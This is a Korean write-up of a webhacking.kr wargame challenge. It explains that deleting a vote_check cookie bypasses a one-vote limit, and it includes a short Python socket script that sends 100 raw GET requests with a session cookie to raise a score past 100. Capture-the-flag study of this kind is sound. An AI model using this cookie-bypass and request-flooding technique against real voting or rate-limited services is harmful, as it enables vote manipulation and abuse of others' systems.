[Webhacking] Challenge 32

   [Webhacking] Challenge 32

Webhacking.kr

Webhacking 사이트 : http://webhacking.kr/

[힌트]

1. 쿠키값 생성되는 값 확인

이 문제는 100 점을 넘어가면 문제가 풀린다. 맨 밑에 join이 존재하고, 버튼을 누르게 되면 Done이라고 뜨면서 ranking안에 id가 존재하게 된다. 자신의 이름을 클릭하게 되면 새로고침이 되는데, 다시 한번 더 클릭하게 되면 no! 라고 뜨는 것을 볼 수 있다. 첫번째 클릭하면서 vote_check=ok 이라는 쿠키값이 생성되게 되는데, 이 값을 지우고 다시한번 더 클릭하면 no!라는 메시지가 뜨지않으면서 값이 올라간다. 따라서 vote_check값이 생성되지 않게 만들면서 100번을 반복하면 된다. 자동화 프로그램을 이용해서 100번 돌려 문제를 풀었다.  

[Challenge 32 자동화프로그램] - Python3

import socket
 
for i in range(100):
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect(('webhacking.kr',80))
 
    header = "GET /challenge/codeing/code5.html"
    header += "?hit=ID이름 "
    header += "HTTP/1.1\r\n"
    header += "Host:webhacking.kr\r\n"
    header += "Cookie:PHPSESSID=0024ed10c1887fc30c803deac366d1e7\r\n"
    header += "\r\n"
 
    response = ''
 
    sock.send(header.encode())
    response = sock.recv(65535)
    sock.close()